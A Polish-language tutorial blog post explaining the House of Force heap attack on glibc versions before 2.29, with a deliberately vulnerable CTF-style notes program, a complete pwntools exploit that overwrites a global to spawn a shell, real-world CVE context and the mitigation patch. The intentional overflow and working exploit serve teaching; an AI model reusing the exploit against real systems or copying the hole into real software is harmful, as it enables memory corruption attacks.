Skip to content
📝 Zadania z BTS 2026 już dostępne na WH Gym!
House of Force

House of Force

25 lipca 2026·
Radosław Konieczny

House of Force (HoF) to technika ataku na stertę (heap) w alokatorze pamięci ptmalloc2, używanym przez glibc. Działała w glibc poniżej 2.29 i doczekała się mitygacji właśnie dlatego, że była zbyt silna: w tych wersjach alokator nie sprawdzał, czy rozmiar najwyższego kawałka sterty jest sensowny. Pojedynczy heap overflow w odpowiednim miejscu wystarczał, żeby zapisać dowolną wartość pod niemal dowolnym adresem procesu. Mówi się tu o AAW (almost arbitrary write): “niemal”, bo alokacje muszą trzymać się wymogu wyrównania rozmiaru (chunk zawsze wyrównany do 16 bajtów), więc nie każdy pojedynczy adres da się trafić bezpośrednio.

Pokażę całość na własnym programie w stylu CTF. Jeśli nie miałeś wcześniej do czynienia z heap overflow, HoF jest niezłym wejściem w temat, bo pokazuje na prostym przykładzie, jak jeden zepsuty bajt metadanych zamienia się w arbitrary write.

Najpierw kilka pojęć, bez których reszta nie ma sensu.

Podstawy: stack, heap, chunk

W działającym programie pamięć dzieli się na kilka obszarów. Dwa istotne tutaj to:

  • Stack (stos): pamięć dla zmiennych lokalnych funkcji, adresów powrotu, argumentów. Rośnie i kurczy się wraz z wywołaniami funkcji, a alokacja i zwalnianie ramek są zarządzane automatycznie przez kompilator (LIFO, w kolejności wejścia i wyjścia z funkcji).
  • Heap (sterta): pamięć przydzielana ręcznie w czasie działania programu, przy wywołaniu malloc(). Tu programista sam decyduje, kiedy i w jakiej kolejności blok zostanie zwolniony (free). Swobodność w długości czasu życia danych odróżnia stertę od stosu.

Gdy wywołujesz malloc(100), alokator alokuje chunk i zwraca wskaźnik na początek danych użytkownika (payload) wewnątrz tego chunka:

       8B          8B             rozmiar zależny od żądania
  +----------+----------+----------------------------------------+
  | prev_size|   size   |            DANE UŻYTKOWNIKA             |
  +----------+----------+----------------------------------------+
  ^                     ^
  początek chunka       wskaźnik zwrócony przez malloc()

Nagłówek leży tuż przed wskaźnikiem, który dostajesz z malloc. Najważniejsze pole to size, rozmiar chunka. To ono jest celem tego ataku.

Top chunk (wilderness)

Sterta nie jest nieskończona. Na jej najwyższym (najwyższy adres) końcu leży specjalny chunk zwany top chunk albo wilderness (“dzicz”). To magazyn wolnej pamięci.

Logika malloc, w skrócie:

  1. Wywołujesz malloc(rozmiar).
  2. Alokator szuka pasującego wolnego kawałka w listach wolnych chunków (tzw. binach: to po prostu listy zwolnionych wcześniej bloków, posegregowane wg rozmiaru).
  3. Jeśli nic nie pasuje, alokator sięga do top chunk: odcina kawałek z jego początku i odpowiednio zmniejsza jego size.
  4. Jeśli top chunk jest za mały, alokator rozszerza stertę syscallem brk (lub mmap), powiększając top chunk, i dopiero wtedy przydziela pamięć.

Powyższe pomija całą mechanikę fastbinów, tcache, konsolidacji i podziału chunków. Pełny opis ścieżki alokacji jest w MallocInternals; tutaj interesuje nas wyłącznie krok 3 i 4, bo to na nich stoi HoF.

To, czy top chunk jest wystarczająco duży, alokator ocenia wyłącznie po polu size w jego nagłówku. W wersjach < 2.29 nie weryfikuje, czy ta wartość ma sens, i na tym polega cała podatność.

Mechanizm House of Force

Do przeprowadzenia ataku potrzebujesz dwóch rzeczy:

  1. Możliwości nadpisania pola size w top chunk (zwykle przez heap overflow, czyli zapis poza granice chunka sąsiadującego z top chunkiem).
  2. Możliwości wykonania alokacji o kontrolowanym, dużym rozmiarze.

Mając obie, można zmusić malloc do zwrócenia wskaźnika pod wybrany adres, a kolejny zapis do takiego “chunka” nadpisze pamięć w tym miejscu.

Idea w trzech krokach:

Krok 1: zatruj rozmiar top chunk. Nadpisujesz top_chunk->size ogromną wartością, najczęściej 0xffffffffffffffff (czyli -1 w arytmetyce ze znakiem). Po tym alokator “myśli”, że top chunk obejmuje całą przestrzeń adresową. Żadna alokacja nie będzie już za duża, więc alokator nigdy nie sięgnie po nową pamięć z systemu, tylko zawsze odda kawałek z top chunka.

PRZED:                              PO NADPISANIU:
+----------------------+           +----------------------+
| NAGŁÓWEK TOP CHUNK   |           | NAGŁÓWEK TOP CHUNK   |
| size: 0x20ce1 (real) |    -->    | size: 0xffff...ff    |  <-- zatrute
+----------------------+           +----------------------+
| wilderness (pusta)   |           | alokator myśli, że   |
|                      |           | sterta = cały RAM    |

Krok 2: przesuń top chunk pod cel. Wskaźnik top chunk po każdej alokacji przesuwa się o rozmiar przydzielonego chunka. Skoro kontrolujesz rozmiar alokacji, możesz policzyć dokładnie taki rozmiar, żeby przesunąć wskaźnik top chunk tuż przed adres, który chcesz nadpisać. Alokujesz wtedy jeden ogromny chunk, “most” od sterty do celu.

top_chunk_ptr po alokacji "mostu":
                                    +-------------------------+
                                    | CEL (np. zmienna win)   |  <-- chcesz to nadpisać
        top_chunk_ptr  ----------->  +-------------------------+
        (wylądował tuż przed celem)

Krok 3: alokuj nad celem. Następny malloc odetnie kawałek z top chunka, a top chunk leży teraz dokładnie na adresie celu. Zwrócony wskaźnik wskazuje więc na cel. Cokolwiek zapiszesz do tego chunka, ląduje pod wybranym adresem. To jest write-what-where.

Jeszcze jeden szczegół arytmetyczny: rozmiar może się “zawinąć”. Jeśli cel leży niżej w pamięci niż top chunk, różnica cel - top_chunk jest ujemna. Ale ponieważ size jest liczbą bez znaku, wartość ujemna staje się gigantyczną liczbą dodatnią. Dodanie jej do wskaźnika top chunk przepełnia licznik i “zawija” go z powrotem na niższy adres, dokładnie tam gdzie chcesz. To celowe wykorzystanie integer overflow.

Praktyczny przykład

Napisałem program symulujący system notatek. Pozwala tworzyć, edytować i wyświetlać notatki, trzymając je na stercie. Cel: nadpisać zmienną globalną win wartością 0xdeadbeef, co odblokuje shella.

Zwróć uwagę na dwie rzeczy, zanim przejdę do kodu:

  • win to zmienna globalna (leży w sekcji danych programu, nie na stosie). Program wypisuje jej adres na starcie. W realnym ataku trzeba by go wyciekować osobno, ale tutaj upraszczam, żeby skupić się na samej technice HoF.
  • W funkcji edit_note celowo umieściłem buffer overflow (linia z read), który pozwala zapisać poza chunk i nadpisać size top chunka.
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX 4

char *notes[MAX];
size_t sizes[MAX];
long win = 0;

int read_int() {
    char buf[16];
    int n = read(0, buf, sizeof(buf) - 1);
    if (n <= 0)
        exit(1);
    buf[n] = 0;
    return atoi(buf);
}

size_t read_size() {
    char buf[32];
    int n = read(0, buf, sizeof(buf) - 1);
    if (n <= 0)
        exit(1);
    buf[n] = 0;
    return strtoull(buf, NULL, 10);
}

void menu() {
    puts("1. new");
    puts("2. edit");
    puts("3. show");
    puts("4. exit");
}

void new_note() {
    int i;
    for (i = 0; i < MAX; i++) {
        if (!notes[i])
            break;
    }
    if (i == MAX) {
        puts("full");
        return;
    }

    puts("size:");
    sizes[i] = read_size();

    notes[i] = malloc(sizes[i]);
    if (!notes[i])
        exit(1);

    if (i == 0) {
        size_t *size_field_ptr = (size_t *)((char *)notes[i] - 8);
        size_t current_chunk_size = *size_field_ptr & ~0x7;

        char *chunk_start = (char *)notes[i] - 0x10;
        char *top_chunk = chunk_start + current_chunk_size;

        printf("First Chunk User Ptr: %p\n", notes[i]);
        printf("First Chunk Real Size: 0x%lx\n", current_chunk_size);
        printf("Top Chunk Address: %p\n", top_chunk);
    }

    puts("data:");
    read(0, notes[i], sizes[i]);
}

void edit_note() {
    puts("idx:");
    int idx = read_int();

    if (idx < 0 || idx >= MAX || !notes[idx])
        return;

    puts("new size:");
    size_t new_size = read_size();

    notes[idx] = realloc(notes[idx], new_size);
    if (!notes[idx])
        exit(1);

    puts("data:");
    read(0, notes[idx], new_size + 0x10);   // overflow

    sizes[idx] = new_size;
}

void show_note() {
    puts("idx:");
    int idx = read_int();

    if (idx < 0 || idx >= MAX || !notes[idx])
        return;
    write(1, notes[idx], sizes[idx] + 0x40);
    puts("");
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    printf("win address:%p\n", (void *)&win);

    for (int i = 0; i < MAX; i++) {
        notes[i] = NULL;
        sizes[i] = 0;
    }

    while (1) {
        menu();
        int c = read_int();

        switch (c) {
        case 1:
            new_note();
            break;
        case 2:
            edit_note();
            break;
        case 3:
            show_note();
            break;
        case 4:
            if (win == 0xdeadbeef) {
                puts("Win condition met! Spawning shell...");
                system("/bin/sh");
            } else {
                printf("Win is: %lx (Target: 0xdeadbeef)\n", win);
            }
            return 0;
        default:
            puts("?");
        }
    }
}

Program dla wygody wycieka też adres win oraz adres top_chunk, żeby ktoś, kto nie zna jeszcze technik wyciekania adresów, mógł śledzić sam atak HoF bez dodatkowych komplikacji.

Jak wygląda sterta po alokacji

Gdy stworzysz pierwszą notatkę, układ pamięci wygląda tak:

+----------------------+----------------------+-----+----------------------+---------------------------+
|     USER CHUNK       |     USER DATA        |  || |   TOP CHUNK (HDR)   |       TOP CHUNK DATA      |
+----------------------+----------------------+-----+----------------------+---------------------------+
| size | P             |   buffer malloc()    |  || | size | P             |       wilderness          |
+----------------------+----------------------+-----+----------------------+---------------------------+
                                              ↑     ↑
                                              |     |
                                koniec user data   top_chunk->size

Nagłówek top chunka leży zaraz za danymi użytkownika pierwszej notatki. Skoro do tej notatki możesz wpisać dane, to zapisując poza jej granicę (overflow) sięgasz do top_chunk->size. Potrzebujesz tylko offsetu między końcem USER DATA a początkiem TOP CHUNK HDR.

Znalezienie offsetu

Offset między chunkiem a top chunkiem zależy od alokatora i rozmiaru żądanego z malloc, więc czytam go bezpośrednio z pamięci w runtime, a nie z kodu programu. Najpierw jednak chcę postawić breakpoint w dobrym miejscu i mieć pewność, że show_note faktycznie wyświetli mi wskaźnik na właściwy chunk. Do tego oglądam tę funkcję w radare2:

We fragmencie:

lea rcx, [rax*8]
lea rax, [0x55e141b3b0a0]
mov rax, qword [rcx+rax]
mov rsi, rax

rax trzyma indeks notatki podany przez użytkownika. rcx dostaje ten indeks pomnożony przez 8 (wskaźnik na x64 zajmuje 8 bajtów), co jest dodawane do adresu tablicy notes. Wynik to adres wskaźnika do wybranego chunka; ląduje w rsi i jest używany jako argument bufora dla write. To potwierdza, że wystarczy dodać dowolną notatkę i zatrzymać się na tym mov rsi, rax, żeby pod rsi mieć adres chunka i zrzucić stamtąd pamięć.

Stawiam więc breakpoint i robię hexdump sterty od danych użytkownika w górę:

hexdump

Tu widać początek danych użytkownika (adres 0x5632b70e5310) i, oddaloną o 0x18 bajtów, wartość 0x20ce1. To jest top_chunk->size, czyli ten rozmiar, który chcę nadpisać; jest na tyle duży, że alokator wycina z niego chunki bez proszenia systemu o nową pamięć. Mając ten offset, mogę napisać exploit: wyciągnąć adresy top chunka i win, wykonać House of Force i zaalokować chunk nadpisujący win.

Jeszcze jeden detal arytmetyczny. Przy alokacji malloc rezerwuje wskazany rozmiar plus 0x10 (rozmiar nagłówka). Dlatego licząc różnicę między top chunkiem a win, odejmuję 0x20: jedno 0x10 to nagłówek ogromnego chunka-mostu, drugie 0x10 to nagłówek chunka, który finalnie zalokujemy nad win.

Exploit krok po kroku

Cały exploit w pwntools poniżej. Omówię każdy krok osobno.

from pwn import *

p = process("./glibc_2.23/hof") # program został skompilowany z glibc_2.23

Krok 1: wyciek adresu win. Program wypisuje go na starcie; wczytuję linię i parsuję jako liczbę szesnastkową.

p.recvuntil(b"win address:")
win_addr = int(p.recvline().strip(), 16)
log.success(f"win @ {hex(win_addr)}")

Krok 2: utworzenie pierwszej notatki i wyciek adresu top chunka. Tworzę notatkę o rozmiarze 10 bajtów. Ta notatka sąsiaduje z top chunkiem, więc jej overflow pozwoli później nadpisać size. Program wypisuje adres top chunka.

p.sendline(b"1")          # new
p.sendline(b"10")

p.recvuntil(b"Top Chunk Address: ")
top_chunk = int(p.recvline().strip(), 16)
log.success(f"top chunk @ {hex(top_chunk)}")

p.recvuntil(b"data:")
p.sendline(b"A" * 10)

Krok 3: właściwy House of Force: nadpisanie size top chunka. Edytuję notatkę 0. Funkcja edit_note ma overflow (read wczytuje new_size + 0x10), więc mogę zapisać poza chunk. Payload to 24 bajty wypełniacza (dotarcie do pola size top chunka), a po nich 0xffffffffffffffff, maksymalny możliwy rozmiar, razem 32 bajty. Wysyłam new_size = 24, więc read() przyjmie 24 + 0x10 = 40 bajtów, co starcza na cały payload; to wciąż mieści się w użytecznym rozmiarze pierwszego chunka (0x18 = 24 bajty), więc realloc nie przenosi go w inne miejsce i offset do top_chunk->size z poprzedniego kroku pozostaje aktualny. Od tej chwili żadna alokacja nie jest “za duża”.

p.sendline(b"2")          # edit
p.sendline(b"0")
p.sendline(b"24")
payload  = b"A" * 24
payload += p64(0xffffffffffffffff)    # nadpisany size top chunka
p.sendline(payload)

Krok 4: obliczenie rozmiaru “mostu”. Liczę odległość od top chunka do win, odejmując 0x20 (dwa nagłówki, jak opisałem wyżej). calculated &= ~0xf wyrównuje do 16 bajtów (wymóg alokatora). calculated &= 0xffffffffffffffff realizuje integer wrapping: jeśli win leży niżej niż top chunk, ujemna różnica zawija się do ogromnej liczby dodatniej, która po dodaniu do wskaźnika top chunka przepełnia licznik i ląduje na właściwym adresie.

calculated = win_addr - top_chunk - 0x20
calculated &= ~0xf
calculated &= 0xffffffffffffffff
log.success(f"Evil size = {hex(calculated)}")

Krok 5: alokacja ogromnego chunka (mostu). Tworzę notatkę o policzonym rozmiarze. Ta alokacja przesuwa wskaźnik top chunka tuż przed win.

p.sendline(b"1")          # new
p.sendline(str(calculated).encode())
p.recvuntil("data:")
p.sendline(b"B" * 8)

Krok 6: alokacja nad win i nadpisanie. Kolejny malloc zwraca wskaźnik dokładnie na adres win. Zapisuję tam 0xdeadbeef, po czym wybieram opcję 4, która sprawdza warunek i daje shella.

p.sendline(b"1")          # new
p.sendline(b"8")
p.send(p64(0xdeadbeef))
p.sendline(b"4")          # exit
p.interactive()

Po uruchomieniu dostajesz shella:

prezentacja działania

Exploit nie działa już w glibc od 2.29, dlatego użyłem how2heap, biblioteki opisującej ataki na stertę i pozwalającej uruchamiać programy na różnych wersjach glibc.

Zastosowanie w praktyce

HoF bywa traktowana jako technika czysto CTF-owa, ale ma udokumentowane użycie poza zawodami. Najlepiej opisany przypadek to CVE-2020-12861 w bibliotece SANE (backend xerox_mfp), używanej m.in. przez Simple Scan na Ubuntu. GitHub Security Lab opisał pełny łańcuch w “Last orders at the House of Force”: zdalnie wywoływalny heap buffer overflow pozwalał nadpisać sąsiedni chunk, a że metadane chunka to tylko rozmiar (bez wskaźników), dało się nimi manipulować jeszcze przed poznaniem offsetów ASLR.

Klasycznym celem HoF w realnych exploitach był __malloc_hook, wskaźnik na funkcję wołaną przez malloc. Skoro warunkiem ataku jest możliwość alokacji o dowolnym rozmiarze, można było nadpisać __malloc_hook adresem system, a następnie zawołać malloc ze wskaźnikiem do /bin/sh jako “rozmiarem”, co stawało się równoważne system("/bin/sh"). Ta konkretna ścieżka dziś już nie działa: __malloc_hook i pozostałe hooki alokatora zostały usunięte z glibc w wersji 2.34, więc na nowszych systemach trzeba szukać innego celu do nadpisania.

Kontekst historyczny: technika została pierwszy raz nazwana w archiwalnym tekście “Malloc Maleficarum” (Phantasmal Phantasmagoria), a później dopracowana w publikacjach m.in. w Phrack.

Mitygacja

Patch (commit, autorstwa Pochang Chena, z sierpnia 2018) wszedł w glibc 2.29. Dodaje jedną kontrolę w _int_malloc, tuż po pobraniu rozmiaru top chunka:

victim = av->top;
size = chunksize(victim);

if (__glibc_unlikely(size > av->system_mem))
    malloc_printerr("malloc(): corrupted top size");

Sens jest prosty: rozmiar top chunka nie może przekraczać system_mem, czyli ilości pamięci faktycznie uzyskanej od systemu dla danej areny. Zatruta wartość 0xffffffffffffffff od razu nie przechodzi tego warunku i program kończy się błędem. Dodatkowo glibc 2.30 wprowadziło osobny limit maksymalnego rozmiaru pojedynczej alokacji: malloc i pokrewne funkcje odrzucają żądania większe niż PTRDIFF_MAX (commit 9bf8e29ca136094f73f69f725f15c51facc97206, Adhemerval Zanella), co ogranicza długość “mostu” możliwego do zbudowania.

Podsumowanie

House of Force daje z heap overflow niemal pełny arbitrary write (AAW): pozwala zaalokować, a tym samym nadpisać, prawie dowolny obszar w przestrzeni adresowej procesu, z dokładnością do wyrównania rozmiaru chunka. Cała siła brała się z jednego braku, bo w glibc < 2.29 alokator ufał polu size top chunka bez weryfikacji. Sprawdzenie dodane w 2.29 (size > system_mem) i limit rozmiaru alokacji z 2.30 zamknęły tę drogę. Sam schemat (zepsute metadane, kontrolowana alokacja, write-what-where) wraca jednak w nowszych technikach, dlatego HoF nadal jest dobrym pierwszym krokiem w naukę eksploatacji sterty.

Źródła